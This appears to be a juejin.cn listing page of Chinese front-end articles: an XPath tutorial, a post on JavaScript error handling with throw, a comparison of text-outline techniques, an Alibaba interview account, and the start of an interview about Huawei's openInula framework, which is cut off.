<title>明朝那些事儿(1-9)</title>
<author>当年明月</author>
<press>中国海关出版社</press>
<date>2009-4</date>
<page>2682</page>
<price>358.20</price>
<staple>精装16开</staple>
<series>明朝那些事儿(典藏本)</series>
<isbn>9787801656087</isbn>
</book>
</bookstore>

除了这些基本节点类型之外,XPath还支持使用通配符:


通配符描述示例
*匹配任何元素节点//book/* 选取<book>元素下的任意子元素节点
@*匹配任何属性节点//book/@* 选取<book>元素上的任意属性节点,如<book category='fiction'>中的category属性
node()匹配任何类型的节点//book/node() 选取<book>元素下的所有类型的子节点,包括元素节点、文本节点、注释节点等

以及使用谓词来进一步筛选选择的节点集。谓词是一种用来对节点进行过滤和排序的机制,可以包含比较运算符、逻辑运算符和函数等,部分示例如下:


谓语描述示例
[position()=n]选取位于指定位置的节点。n 是节点的位置(从 1 开始计数)//book[position()=1] 选取第一个<book>元素
[last()=n]选取位于指定位置的最后一个节点。n 是节点的位置(从 1 开始计数)//book[last()=1] 选取最后一个<book>元素
[contains(string, substring)]选取包含指定子字符串的节点。string 是节点的文本内容,substring 是要查找的子字符串//book[contains(title, 'XML')] 选取标题中包含子字符串'XML'<book>元素
[starts-with(string, prefix)]选取以指定前缀开始的节点。string 是节点的文本内容,prefix 是要匹配的前缀字符串//book[starts-with(title, 'The')] 选取标题以'The'开始的<book>元素
[text()=string]选取文本内容完全匹配的节点。string 是要匹配的文本内容//book[text()='Book Title'] 选取文本内容为'Book Title'<book>元素
[@category='non-fiction']选取具有指定属性值的节点。category 是属性名称,non-fiction 是要匹配的值//book[@category='non-fiction'] 选取具有属性category值为'non-fiction'<book>元素

XPath使用路径表达式来选取XML或HTML文档中的节点或节点集。下面是一些常用的路径表达式:


表达式描述示例
nodename选取此节点的所有子节点//bookstore/book 选取<bookstore>元素下所有<book>子元素
/从根节点选取直接子节点/bookstore 从根节点选取<bookstore>元素
//从当前节点选取子孙节点//book 选取所有<book>元素,无论它们在文档中的位置
.选取当前节点./title 选取当前节点的<title>子元素
..选取当前节点的父节点../price 选取当前节点的父节点的<price>子元素
@选取属性//book/@id 选取所有<book>元素的id属性

三、XPath使用示例


选择所有名称为title的节点://title
选择所有名称为title,同时属性lang的值为eng的节点://title[@lang='eng']
选择id为bookstore的节点的所有子节点:/bookstore/*
选择id为bookstore的节点的所有子孙节点:/bookstore//*
选择id为bookstore的节点的直接子节点中的第一个节点:/bookstore/*[1]
选择id为bookstore的节点的属性为category的值:/bookstore/@category


四、XPath的高级用法


XPath语言提供了一些高级的功能,包括:


轴(Axes):XPath提供了几种轴,用于在文档中导航。包括child(子元素)、ancestor(祖先元素)、descendant(后代元素)和following-sibling(后续同级元素)等。


函数:XPath提供了一些内置的函数,如count(),concat(),string(),local-name(),contains(),not(),string-length()等,可以用于处理和操作节点和属性3。


条件语句:XPath提供了条件语句(如if-else语句),使得我们可以根据某些条件来选择性地提取元素或属性3。


五、.NET中使用


// XML 文档内容
string xmlContent = @"
<bookstore>
<book category='fiction'>
<title>活着</title>
<author>余华</author>
<press>作家出版社</press>
<date>2012-8-1</date>
<page>191</page>
<price>20.00</price>
<staple>平装</staple>
<series>余华作品(2012版)</series>
<isbn>9787506365437</isbn>
</book>
<book category='non-fiction'>
<title>撒哈拉的故事</title>
<author>三毛</author>
<press>哈尔滨出版社</press>
<date>2003-8</date>
<page>217</page>
<price>15.80</price>
<staple>平装</staple>
<series>三毛全集(华文天下2003版)</series>
<isbn>9787806398791</isbn>
</book>
<book category='non-fiction'>
<title>明朝那些事儿(1-9)</title>
<author>当年明月</author>
<press>中国海关出版社</press>
<date>2009-4</date>
<page>2682</page>
<price>358.20</price>
<staple>精装16开</staple>
<series>明朝那些事儿(典藏本)</series>
<isbn>9787801656087</isbn>
</book>
</bookstore>"
;

// 创建 XPath 文档
using (XmlReader reader = XmlReader.Create(new StringReader(xmlContent)))
{
XPathDocument xpathDoc = new XPathDocument(reader);

// 创建 XPath 导航器
XPathNavigator navigator = xpathDoc.CreateNavigator();

// 使用 XPath 查询(选择所有位于bookstore下、其category属性值为'fiction'的book元素中的title元素)
string xpathExpression = "//bookstore/book[@category='fiction']/title";
XPathNodeIterator nodes = navigator.Select(xpathExpression);

// 检查是否有匹配的节点
if (nodes != null)
{
// 遍历结果
while (nodes.MoveNext())
{
// 检查当前节点是否为空
if (nodes.Current != null)
{
Console.WriteLine(nodes.Current.Value);
}
}
}
}

运行结果


微信截图_20231129223229.png


六、XPath在自动化测试中的应用


XPath最常用的场景之一就是在自动化测试中用来选择HTML DOM节点。例如,在Selenium自动化测试中,可以使用XPath作为选择web元素的主要方法之一。通过XPath选择器,可以方便地定位页面中的任意元素,进行自动化测试操作。


七、XPath的优势与不足


XPath的优势在于其强大的选择功能,可以通过简单的路径选择语法,选取文档中的任意节点或节点集。此外,XPath还支持超过100个内建函数,可用于字符串处理、数值计算、日期和时间比较等等。这些函数可以大大提高数据处理的效率。


然而,XPath也有其不足之处。首先,XPath对于复杂的文档结构可能会变得非常复杂,导致选择语句难以理解和维护。其次,XPath在处理大量数据时可能会出现性能问题,因为它需要遍历整个文档来查找匹配的节点。因此,在使用XPath时需要注意优化查询语句,提高查询效率。


八、总结


学会XPath,可以轻松抓取网页数据,提高数据获取效率。本文介绍了XPath的定义、基础语法、使用示例、高级用法、.NET中使用举例以及在自动化测试中的应用场景,同时也讨论了XPath的优势与不足。希望本文能够帮助读者更好地理解和掌握XPath的使用方法。


希望以上内容能够帮助你理解和学习XPath。欢迎点赞、关注、收藏,如果你还有其他问题,欢迎评论区交流。


作者:GoodTime
来源:juejin.cn/post/7306858863444623400
收起阅读 »

js终止程序,我常用throw 替代 return

web
js终止程序有两种方式(如果还有别的请告知我) throw return 这两个好像是两大阵营,前者我个人最推崇,但是很少见人用, 不知道啥原因(兴许是讨厌写try catch吧)。 刚入门那会,总觉得下面这样的验证好麻烦 const formValu...
继续阅读 »

js终止程序有两种方式(如果还有别的请告知我)



  1. throw

  2. return


这两个好像是两大阵营,前者我个人最推崇,但是很少见人用, 不知道啥原因(兴许是讨厌写try catch吧)。


刚入门那会,总觉得下面这样的验证好麻烦


  const formValues = {
mobile: '',
name: '',
}

function onSubmit() {
if (!formValues.name) {
alert('请输入用户名')
return
}

if (!formValues.mobile) {
alert('请输入手机号')
return
}

// n个表单验证,return N次 alert N 次
}

后来发现,可以用throw改进一下



const formValues = {
mobile: '',
name: '',
}

function onSubmit() {
try {
if (!formValues.name) throw ('请输入用户名')
if (!formValues.mobile) throw String('请输入手机号')

} catch (error) {
alert(error)
}
}

这样就好看多了(但很多人觉得,try catch 难看 😂)。
后来验证多了,就把验证挪到单独一个函数里


  const formValues = {
mobile: '',
name: '',
}

function validateFormValues() {
if (!formValues.name) throw ('请输入用户名')
if (!formValues.mobile) throw String('请输入手机号')
}

function onSubmit() {
try {
validateFormValues()

} catch (error) {
alert(error)
}
}

主函数看起来干净些了。这是throw才能做到的,报错跳出调用栈。


由此引出了之前看过的一种写法,用return(我不喜欢)


  const formValues = {
mobile: '',
name: '',
}

function validateFormValues() {
if (!formValues.name) {
alert('请输入用户名')
return
}
if (!formValues.mobile) {
alert('请输入手机号')
return
}

return true
}

function onSubmit() {
const isValidateFormValuesSuccess = validateFormValues();

// 这点我不喜欢,因为还要再写一次判断
if (!isValidateFormValuesSuccess) return
}


如果是遇到嵌套深的复杂场景,函数套函数,是不是就很无力了,因为没法跳转函数栈,只能层层判断。


但是throw就可以无视嵌套,直接报错,最晚层接住错误就可以了。当我们写代码的时候,想终止程序,就直接throw。


看下面这段代码 promise async await 联合使用。可用空间就大了撒。
从此随便造,函数大了就拆逻辑成小函数,想终止就throw


  // promise里面throw 错误 = reject(错误)
async function onSubmit() {
try {
await new Promise((resolve) => {
throw String('故意报错')
})

console.log('a'); // 不会执行
} catch (error) {
alert(error) // 结果:alert 故意报错
}
}

// promise里面 catch 也可以直接抛错误
async function onSubmit() {
try {
await new Promise((resolve, reject) => {
reject('故意报错')
}).catch(error => {
throw error
})

console.log('b'); // 不会执行
} catch (error) {
alert(error)
}
}

可能有的小伙伴会想,try catch 有性能问题。看下图,来源于经典书《高性能javaScript》


image.png


之前公司小伙伴也有这个疑问,我翻了书加上用chorme 微信小程序编辑器,去测过,最终差别不大,没问题的,使劲用。


由此启发,这时候引入一个catchError函数,专门用来接收报错


// 报错白名单,收到这个就不提示报错了,标明是主动行为
const MANUAL_STOP_PROGRAM = "主动终止程序";

/**
* @feat < 捕获错误 >
* @param { unknown } error 错误
* @param { string } location 错误所在位置,标识用的
* @param { Function } onParsedError 解析错误,可能需要把这个错误弄到页面上显示是啥错误
*/

function catchError(error, location, { onParsedError } = {}) {
try {
const errorIsObj = error && typeof error === "object";

if (errorIsObj) throw JSON.stringify(error);

// 其他处理,比如判断是取消网络请求,错误集中上报等等,大家自由发挥,有啥好想法欢迎评论区留言

throw error;
} catch (error) {
console.error(`${location || ""}-捕获错误`, error);

if (new RegExp(MANUAL_STOP_PROGRAM).test(error)) throw MANUAL_STOP_PROGRAM;

// 错误解析完毕
onParsedError && onParsedError(error);

alert(error) // 弹窗提示错误
throw MANUAL_STOP_PROGRAM;
}
}


在上面中 MANUAL_STOP_PROGRAM 就是个白名单了,专门用来标识是主动报错,但是不提示错误
每次 catchError 之后,要把 MANUAL_STOP_PROGRAM 继续抛出来,因为我们可能业务调用链很深,需要多个地方使用到 catchError,但是只需要报错一次,而且需要报错告知外层不执行后续逻辑。


再结合 location 参数,我们可以看到清晰的错误来源


catchError 这个是我得初步设想,一直想做统一的错误收集中心。如果您有好的想法,欢迎告知评论区。


上面执行后,控制台是有点难看的


image.png


通过window.onerror能收集到部分错误,但是异步的就收集不到了。(async promise 这些就没办法了),如果您有啥办法能收集到,麻烦告知一下。


但是控制台难看有啥关系呢。(反正用户和老板也看不到 😂)


/**
* @param { string } message
* @param { source } 表示发生错误的脚本文件的 URL
* @param { lineno } 表示发生错误的行号
*/

window.onerror = function(message, source, lineno) {
// 错误处理逻辑
};

下面是一个比较极端的例子,演示一下深层级的报错效果


  // 生成假数据
async function genrateMockList() {
try {
const list = await Promise.all(
new Array(100).fill(',').map((item, index) => {
try {
if (index === 1) throw String('map 故意报错,嵌套比较深了')

return {
index: 'name'
}
} catch (error) {
catchError(error, 'genrateMockList__item')
}
})
)
return list
} catch (error) {
catchError(error, 'genrateMockList')
}
}

async function getDetails() {
try {
const dataList = await genrateMockList();
console.log('a') // 不会执行
} catch (error) {
catchError(error, 'getDetails')
}
}

getDetails();

image.png


笔者始终认为,写代码很重要的一点是 数据结构 和 程序流控制。


结构清楚了,所有的东西都能一生二二生四一直延伸变化。


程序流控制我们尽量做到简单清晰。


别再纠结用了多少个try catch 多难看了,多一个try catch 就多一分安心,特别是复杂的业务逻辑,可能需要经过5-6个小函数,这时候加上try catch 就能把报错范围缩小,等到代码完全可靠后再移除 try 也不迟。


兴许return 当初设计就只是为了返回值吧,我总觉得throw才是js设计者的终止程序的用意。这段历史有知道的也欢迎说一下。


以上内容供大家参考。有啥看法欢迎评论区留言。


预告:下周开始写一些组件设计思考。是一个系列,存货不多,顶多写几篇


作者:闸蟹
来源:juejin.cn/post/7307522662287556646
收起阅读 »

前端外描边完美实现

web
背景 最近在公司做画布相关的内容,涉及到了字体描边的方案选择,在三种方案对比和尝试下,最终选用了 SVG 作为字体描边的方案,今天就来讲讲这些方案的优缺点。 字体描边方案对比 1. text-stroke 优点: 实现效果好 缺点: 兼容性一般,需要配合 -...
继续阅读 »

背景


最近在公司做画布相关的内容,涉及到了字体描边的方案选择,在三种方案对比和尝试下,最终选用了 SVG 作为字体描边的方案,今天就来讲讲这些方案的优缺点。


字体描边方案对比


1. text-stroke


优点: 实现效果好


缺点:



  • 兼容性一般,需要配合 -webkit-background-clip 属性来实现外描边,而市面上的截图库都不支持这个属性😅,也就是截图后描边效果会丢失(尝试过 html2canvas、html-to-image、dom-to-image,以及公司内部的一些截图库)

  • 有描边吞字的现象:描边宽度变大时,描边会向内扩展把文本覆盖,

  • 宽度为0px的时候也依旧存在描边


效果:


2. text-shadow


优点: 兼容性好


缺点: 实现效果不好,怎么说呢,很难评,有种锯齿的美,毕竟人家不是干这行的 😅


效果:


3. SVG


优点: 兼容性好、实现效果好,整体上看比 text-stroke 效果还要好


缺点: iOS 上同样存在描边吞字的现象,但是它的缺点都可以解决,还请看下文


效果:


image.png


4. Canvas


优点: 兼容性好


缺点:



  • 字体整体比较模糊

  • 有描边吞字的现象

  • 需要通过 canvas api 来进行绘制


效果:



调试


上面四种方案都可以在 CodeSandBox 中自行尝试一下:


codesandbox.io/p/sandbox/s…


SVG 实现字体描边


通过 svg 的 paint-order 来实现字体描边,兼容性最好,并且实现效果也很不错,基本兼容市面上所有浏览器,并且截图库基本都支持这个属性,下面就来讲讲 SVG 字体描边方案的实现:


<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<text
x="0"
y="0"
alignment-baseline="text-before-edge"
text-anchor="start"
>

字体描边
</text>
</svg>

text {
font-size: 50px;
font-weight: bold;
stroke: red;
stroke-width: 4px;
paint-order: stroke;
}

通过 stroke-linejoin 属性,可以 对 svg 的描边有更灵活的控制:



但是在 iOS 中,使用 paint-order 有一个坑:当 stroke-width 被设置成不同值的时候,描边有可能向文字内部扩展,导致字体被吞没,最终字体的颜色变成跟描边的颜色一致。


解决这个问题当然也有一个办法:使用 svg 的 tspan


tspan 可以控制一个 text 标签中多行文本的展示,通过设置 dxdy 属性来控制与上一个 tspan 的距离。那么对于 iOS 描边展示异常这个问题,我们就有了一个解决办法:



  1. text 内添加两个 tspan

  2. 第一个 tspan 用来控制描边展示,设置 stroke-width

  3. 第二个 tspan 用户展示字体主体,覆盖在第一个 tspan 上面(设置 dx="0" dy="0"


<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<text>
<tspan
x="0"
y="0"
style="stroke-width: 5px"
alignment-baseline="text-before-edge"
text-anchor="start"
>

文本
</tspan>
<tspan
dx="0"
dy="0"
alignment-baseline="text-before-edge"
text-anchor="start"
>

文本
</tspan>
</text>
</svg>

兼容性如下:



总结



  • 整体上来看,通过 SVG 实现字体描边比其他三种方案效果都要好,并且兼容性也不错;

  • 同时,tspan 可以控制 text 中的文本换行,通过 tspan 可以解决字体被描边覆盖的问题


作者:DAHUIAAAAAA
来源:juejin.cn/post/7307544166446956556
收起阅读 »

大专前端,三轮面试,终与阿里无缘

web
因为一些缘故,最近一直在找工作,再加上这个互联网寒冬的大环境,从三月找到六月了,一直没有合适的机会 先说一下背景,目前三年半年经验,base 杭州,大专学历+自考本科 就在前几天,Boss 上收到了阿里某个团队的投递邀请(具体部门就不透露了),因为学历问题...
继续阅读 »

因为一些缘故,最近一直在找工作,再加上这个互联网寒冬的大环境,从三月找到六月了,一直没有合适的机会



先说一下背景,目前三年半年经验,base 杭州,大专学历+自考本科



就在前几天,Boss 上收到了阿里某个团队的投递邀请(具体部门就不透露了),因为学历问题,基本上大厂简历都不会通过初筛,但还是抱着破罐子破摔的心态投递给了对方,出乎意料的是简历评估通过了,可能是因为有两个开源项目和一个协同文档加分吧。


进入到面试环节,首先是两道笔试题,算是前置面试:


第一道题目是算法题:


提供了一个数组结构的 data,要求实现一个 query 方法,返回一个新的数组,query 方法内部有 过滤排序分组 等操作,并且支持链式调用,调用最终的 execute 方法返回结果:


const result = query(list)
.where(item => item.age > 18)
.sortBy('id')
.groupBy('name')
.execute();

console.log(result);

具体实现这里就不贴了,过滤用原生的数组 filter 方法,排序用原生的数组 sort 方法,分组需要手写一下,类似 lodash/groupBy 方法。


过滤和排序实现都比较顺利,在实现分组方法的时候不是很顺利,有点忘记思路了,不过最后还是写出来了,关于链式调用,核心是只需要在每一步的操作最后返回 this 即可。


第二道题目是场景题:


要求用 vue 或者 react 实现一个倒计时抢券组件,页面加载时从 10s 开始倒计时,倒计时结束之后点击按钮请求接口进行抢券,同时更新文案等等功能。因为我对 react 比较熟悉一点,所以这里就选择了 react。


涉及到的知识点有 hook 中对 setTimeout 的封装、异步请求处理、状态更新CSS基本功 的考察等等……


具体实现这里也不贴了,写了一堆自定义 hook,因为平时也在参与 ahooks 的维护工作,ahooks 源码背的滚瓜烂熟,所以直接搬过来了,这道题整体感觉没啥难度,算是比较顺利的。


笔试题整个过程中唯一不顺利的是在线编辑器没有类似 vscode 这样的 自动补全 功能,不管是变量还是保留字,很多单词想不起来怎么拼写,就很尴尬,英文太差是硬伤 :(


笔试过程最后中出现了一点小插曲,因为笔试有时间限制,需要在规定的时间内完成,但是倒计时还没结束,不知道为什么就自动交卷了,不过那个时候已经写的差不多了,功能全部实现了,还剩下卡片的样式没完成,css 还需要完善一下,于是就在 Boss 上跟对方解释了一下,说明了情况。


过了几分钟,对面直接回复笔试过了,然后约了面试。


一面:



  • 自我介绍


    这里大概说了两分钟,介绍了过往工作经历,做过的业务以及技术栈。


  • 七层网络模型、和 DNS 啥的


    计网这方面属于知识盲区了,听到这个问题两眼一黑,思索了一会儿,直接说回答不上来。


  • 然后问了一些 host 相关的东西



    • 很遗憾也没回答上来,尴尬。对方问我是不是计算机专业的,我坦诚的告诉对方是建筑工程。



  • React 代码层的优化可以说一下么?



    • 大概说了 class 组件和 function 组件两种情况,核心是通过减少渲染次数达到优化目的,具体的优化手段有 PureComponentshouldComponentUpdateReact.memoReact.useMemoReact.useCallbackReact.useRef 等等。



  • 说一下 useMemouseCallback 有什么区别



    • 很基础的问题,这里就不展开说了。



  • 说一下 useEffectuseLayoutEffect 有什么区别



    • 很基础的问题,这里就不展开说了。



  • 问了一下 useEffect 对应在 class 中都生命周期怎么写?



    • 很基础的问题,这里就不展开说了。



  • 如果在 if 里面写 useEffect 会有什么表现?



    • 开始没听清楚,误解对方的意思了,以为他说的是在 useEffect 里面写 if 语句,所以胡扯了一堆,后面对方纠正了一下,我才意识到对方在问什么,然后回答了在条件语句里面写 useEffect 控制台会出现报错,因为 hook 的规则就是不能在条件语句或者循环语句里面写,这点在 react 官方文档里面也有提到。



  • 说一下 React 的 Fiber 架构是什么



    • 这里说了一下 Fiber 本质上就是一个对象,是 React 16.8 出现的东西,主要有三层含义:



      1. 作为架构来说,在旧的架构中,Reconciler(协调器)采用递归的方式执行,无法中断,节点数据保存在递归的调用栈中,被称为 Stack Reconciler,stack 就是调用栈;在新的架构中,Reconciler(协调器)是基于 fiber 实现的,节点数据保存在 fiber 中,所以被称为 fiber Reconciler。

      2. 作为静态数据结构来说,每个 fiber 对应一个组件,保存了这个组件的类型对应的 dom 节点信息,这个时候,fiber 节点就是我们所说的虚拟 DOM。

      3. 作为动态工作单元来说,fiber 节点保存了该节点需要更新的状态,以及需要执行的副作用。


      (这里可以参考卡颂老师的《自顶向下学 React 源码》课程)




  • 前面提到,在 if 语句里面写 hook 会报错,你可以用 fiber 架构来解释一下吗?



    • 这里说了一下,因为 fiber 是一个对象,多个 fiber 之间是用链表连接起来的,有一个固定的顺序…… 其实后面还有一些没说完,然后对方听到这里直接打断了,告诉我 OK,这个问题直接过了。



  • 个人方面有什么规划吗?



    • 主要有两个方面,一个是计算机基础需要补补,前面也提到,我不是科班毕业的,计算机底层这方面比起其他人还是比较欠缺的,尤其是计网,另一方面就是英文水平有待提高,也会在将来持续学习。



  • 对未来的技术上有什么规划呢?



    • 主要从业务转型工程化,比如做一些工具链什么的,构建、打包、部署、监控几个大的方向,node 相关的,这些都是我感兴趣的方向,未来都可以去探索,当然了现在也慢慢的在做这些事情,这里顺便提了一嘴,antd 的 script 文件夹里面的文件是我迁移到 esm + ts 的,其中一些逻辑也有重构过,比如收集 css token、生成 contributors 列表、预发布前的一些检查等等…… 所以对 node 这块也有一些了解。



  • 能不能从技术的角度讲一下你工作中负责业务的复杂度?



    • 因为前两份工作中做的是传统的 B 端项目和 C 端项目,并没有什么可以深挖的技术难点,所以这里只说了第三份工作负责的项目,这是一个协同文档,既不算 B 端,也不算 C 端,这是一款企业级的多人协作数据平台,竞品有腾讯文档、飞书文档、语雀、WPS、维卡表格等等。


      协同文档在前端的难点主要有两个方面:



      1. 实时协同编辑的处理:当两个人同时进入一个单元格编辑内容,如果保证两个人看到的视图是同步的?那么这个时候就要提到冲突处理了,冲突处理的解决方案其实已经相对成熟,包括:



        • 编辑锁:当有人在编辑某个文档时,系统会将这个单元格锁定,避免其他人同时编辑,这种方法实现方式最简单,但也会直接影响用户体验。

        • diff-patch:基于 Git 等版本管理类似的思想,对内容进行差异对比、合并等操作,也可以像 Git 那样,在冲突出现时交给用户处理。

        • 最终一致性实现:包括 Operational Transformation(OT)、 Conflict-free replicated data type(CRDT,称为无冲突可复制数据类型)。



      2. 性能问题



        • 众所周知,互联网一线大厂的协同文档工具都是基于 canvas 实现,并且有一套自己的 canvas 渲染引擎,但是我们没有,毕竟团队规模没法跟大厂比,这个项目前端就 2 个人,所以只能用 dom 堆起来(另一个同事已经跑路,现在就剩下我一个人了)。这导致页面卡顿问题非常严重,即使做了虚拟滚动,但是也没有达到很好的优化效果。老板的要求是做到十万量级的数据,但是实际上几千行就非常卡了,根本原因是数据量太大(相当于一张很大的 Excel 表格,里面的每一个单元格都是一个富文本编辑器),渲染任务多,导致内存开销太大。目前没有很好的解决方案,如果需要彻底解决性能问题,那么就需要考虑用 canvas 重写,但是这个基本上不太现实。

        • 因为卡顿的问题,暴露出来另一个问题,状态更新时,视图同步缓慢,所以这时候不得不提到另一个优化策略:乐观更新。乐观更新的思想是,当用户进行交互的时候,先更新视图,然后再向服务端发送请求,如果请求成功,那么什么都不用管,如果请求失败,那么就回滚视图。这样做的好处是,用户体验会好很多,在一些强交互的场景,不会阻塞用户操作,比如抖音的点赞就是这样做的。但是也会带来一些问题,比如:如果用户在编辑某个单元格时,另一个用户也在编辑这个单元格,那么就会出现冲突,这个时候就需要用到前面提到的冲突处理方案了。







  • 可以讲一下你在工作中技术上的建设吗?



    • 这里讲了一下对 hooks 仓库的建设,封装了 100 多个功能 hook业务 hook,把不变的部分隐藏起来,把变化的部分暴露出去,在业务中无脑传参即可,让业务开发更加简单,同时也提高了代码的复用性。然后讲了一下数据流重构之类的 balabala……



  • 你有什么想问我的吗?



    • 问了一下面试结果大概多久能反馈给我,对方说两三天左右,然后就结束了。





结束之后不到 20 分钟,对方就在 Boss 上回复我说面试过了,然后约了二面。



二面:



  • 自我介绍



    • 跟上一轮一样,大概说了两分钟,介绍了过往工作经历,做过的业务以及技术栈。



  • 在 js 中原型链是一个很重要的概念,你能介绍一下它吗?



    • 要介绍原型链,首先要介绍一下原型,原型是什么…… 这块是纯八股,懒得打字了,直接省略吧。



  • object 的原型指向谁?



    • 回答了 null。(我也不知道对不对,瞎说的)



  • 能说一下原型链的查找过程吗?



    • 磕磕绊绊背了一段八股文,这里省略吧。



  • node 的内存管理跟垃圾回收机制有了解过吗?



    • 暗暗窃喜,这个问题问到点子上了,因为两年前被问到过,所以当时专门写了一篇文章,虽然已经过去两年了,但还是背的滚瓜烂熟:

    • 首先分两种情况:V8 将内存分成 新生代空间老生代空间



      • 新生代空间: 用于存活较短的对象



        • 又分成两个空间: from 空间 与 to 空间

        • Scavenge GC 算法: 当 from 空间被占满时,启动 GC 算法



          • 存活的对象从 from space 转移到 to space

          • 清空 from space

          • from space 与 to space 互换

          • 完成一次新生代 GC





      • 老生代空间: 用于存活时间较长的对象



        • 新生代空间 转移到 老生代空间 的条件(这个过程称为对象晋升



          • 经历过一次以上 Scavenge GC 的对象

          • 当 to space 体积超过 25%



        • 标记清除算法:标记存活的对象,未被标记的则被释放



          • 增量标记:小模块标记,在代码执行间隙执,GC 会影响性能

          • 并发标记:不阻塞 js 执行









  • js 中的基础类型和对象类型有什么不一样?



    • 基础类型存储在栈中,对象类型存储在堆中。



  • 看你简历上是用 React,你能简单的介绍一下 hooks 吗?



    • 本质上就是一个纯函数,大概介绍了一下 hooks 的优点,以及 hooks 的使用规则等等。



  • 简单说一下 useEffect 的用法:



    • useEffect 可以代替 class 中的一些生命周期,讲了一下大概用法,然后讲了一下 useEffect 的执行时机,以及 deps 的作用。



  • 说一下 useEffect 的返回值用来做什么?



    • 返回一个函数,用来做清除副作用的工作,比如:清除定时器清除事件监听等等。



  • 你知道 useEffect 第二个参数内部是怎么比较的吗?



    • 说了一下内部是浅比较,源码中用 for 循环配合 Object.is 实现。(感觉这个问题就是在考察有没有读过 React 源码)



  • 前端的话可能跟网络打交道比较多,网络你了解多少呢?



    • 这里直接坦诚的说了一下,网络是我的弱项,前面一面也问到了网络七层模型,没回答出来。



  • 那你回去了解过七层模型吗?我现在再问你一遍,你能回答出来吗?



    • 磕磕绊绊回答出来了。



  • 追问:http 是在哪一层实现的?



    • 应用层。



  • 说一下 getpost 有什么区别?



    • 两眼一黑,脑子一片空白,突然不知道说什么了,挤了半天挤出来一句:get 大多数情况下用来查询,post 大多数情况下用来提交数据。get 的入参拼在 url 上,post 请求的入参在 body 里面。面试官问我还有其它吗?我说想不起来了……



  • 说一下浏览器输入 url 到页面加载的过程:



    • 输入网址发生以下步骤:



      1. 通过 DNS 解析域名的实际 IP 地址

      2. 检查浏览器是否有缓存,命中则直接取本地磁盘的 html,如果没有命中强缓存,则会向服务器发起请求(先进行下一步的 TCP 连接)

      3. 强缓存协商缓存都没有命中,则返回请求结果

      4. 然后与 WEB 服务器通过三次握手建立 TCP 连接。期间会判断一下,若协议是 https 则会做加密,如果不是,则会跳过这一步

      5. 加密完成之后,浏览器发送请求获取页面 html,服务器响应 html,这里的服务器可能是 server、也可能是 cdn

      6. 接下来是浏览器解析 HTML,开始渲染页面



    • 顺便说了渲染页面的过程:



      1. 浏览器会将 HTML 解析成一个 DOM 树,DOM 树的构建过程是一个深度遍历过程:当前节点的所有子节点都构建好后才会去构建当前节点的下一个兄弟节点。

      2. 将 CSS 解析成 CSS Rule Tree(css 规则树)。

      3. 解析完成后,浏览器引擎会根据 DOM 树CSS 规则树来构造 Render Tree。(注意:Render Tree 渲染树并不等同于 DOM 树,因为一些像 Headerdisplay:none 的东西就没必要放在渲染树中了。)

      4. 有了 Render Tree,浏览器已经能知道网页中有哪些节点、各个节点的 CSS 定义以及他们的从属关系。下一步进行 layout,进入布局处理阶段,即计算出每个节点在屏幕中的位置。

      5. 最后一个步骤就是绘制,即遍历 RenderTree,层绘制每个节点。根据计算好的信息绘制整个页面。



    • 渲染完成之后,开始执行其它任务:



      1. dom 操作

      2. ajax 发起的 http 网络请求等等……

      3. 浏览器处理事件循环等异步逻辑等等……





  • 菜单左中右布局,两边定宽,中间自适应,说一下有几种实现方式



    • 比较经典的面试题,说了 flexfloat 两种方式。



  • 项目难点



    • 和一面一样,说了协同文档的两大难点,这里就不重复了。



  • 你有什么想问我的吗?



    • 和一面一样,问了一下面试结果大概多久能反馈给我,对方说两三天左右,然后就结束了。



  • 最后问了期望薪资什么的,然后就结束了。


二面结束之后,大概过了几个小时,在 Boss 上跟对方说了一声,如果没过的话也麻烦跟我说一下,然后这时候,对方在 Boss 上问我,第一学历是不是专科?我说是的,感觉到不太妙的样子,


然后又过了一会儿,对方说定级应该不会高,他后续看一下面试官的反馈如何……


然后又追问我,换工作的核心诉求是涨薪还是能力的提升,这里我回答的比较委婉,其实两个都想要 QAQ


今天已经是第二天了,目前没有下文,看起来二面是过了,但是因为学历不够,中止了三面的流程,基本上是失败了,我也不会报有什么希望了,所以写个面经记录一下。


作者:三年没洗澡
来源:juejin.cn/post/7239715208792342584
收起阅读 »

华为自研的前端框架是什么样的?

web
大家好,我卡颂。 最近,华为开源了一款前端框架 —— openInula。根据官网提供的信息,这款框架有3大核心能力: 响应式API 兼容ReactAPI 官方提供6大核心组件 并且,在官方宣传视频里提到 —— 这是款大模型驱动的智能框架。 ...
继续阅读 »

大家好,我卡颂。


最近,华为开源了一款前端框架 —— openInula。根据官网提供的信息,这款框架有3大核心能力:



  1. 响应式API




  1. 兼容ReactAPI




  1. 官方提供6大核心组件



并且,在官方宣传视频里提到 —— 这是款大模型驱动智能框架


那么,这究竟是款什么样的前端框架呢?我在第一时间体验了Demo,阅读了框架源码,并采访了框架核心开发者。本文将包括两部分内容:



  1. 对框架核心开发者陈超涛的采访

  2. 卡颂作为一个老前端,阅读框架源码后的一些分析

采访核心开发者


开发Inula的初衷是?


回答:


华为内部对于业务中强依赖的软件,考虑到竞争力,通常会开发一个内部使用的版本。


Inula在华为内部,从立项到现在两年多,基本替换了公司内绝大部分React项目。



卡颂补充背景知识:Inula兼容React 95% API,最初开发的目的就是为了替换华为内部使用的React。为了方便理解,你可以将Inula类比于华为内部的React



为什么开源?


回答:


华为对于自研软件的公司策略,只要是公司内部做的,觉得还ok的自研都会开源。



接下来的提问涉及到官网宣传的内容



宣传片提到的大模型赋能、智能框架是什么意思?


回答:


这主要是Inula团队与其他外部团队在AI低代码方向的一些探索。比如:



  1. 团队与上海交大的一个团队在探索大模型赋能chrome调试业务代码方面有些合作,目的是为了自动定位问题

  2. 团队与华为内部的大模型编辑器团队合作,探索框架与编辑器定制可能性


以上还都属于探索阶段。


Inula未来有明确的发展方向么?


回答:


团队正在探索引入响应式API,相比于React的虚拟DOM方案,响应式API能够提高运行时性能。24年可能会从Vue composition API中寻求些借鉴。


新的发展方向会在项目仓库以RFC的形式展开。



补充:RFCRequest for Comments的缩写。这是一种协作模式,通常用于提出新的特性、规范或者改变现有的一些规则。RFC的目的是收集不同的意见和反馈,以便在最终确定一个决策前,考虑尽可能多的观点和影响。



为什么要自研核心组件而不用社区成熟方案?



卡颂补充:所谓核心组件,是指状态管理、路由、国际化、请求库、脚手架这样的框架生态相关的库。既然Inula兼容React,为什么不直接用React生态的成熟产品,而要自研呢?毕竟,这些库是没有软件风险的。




回答:


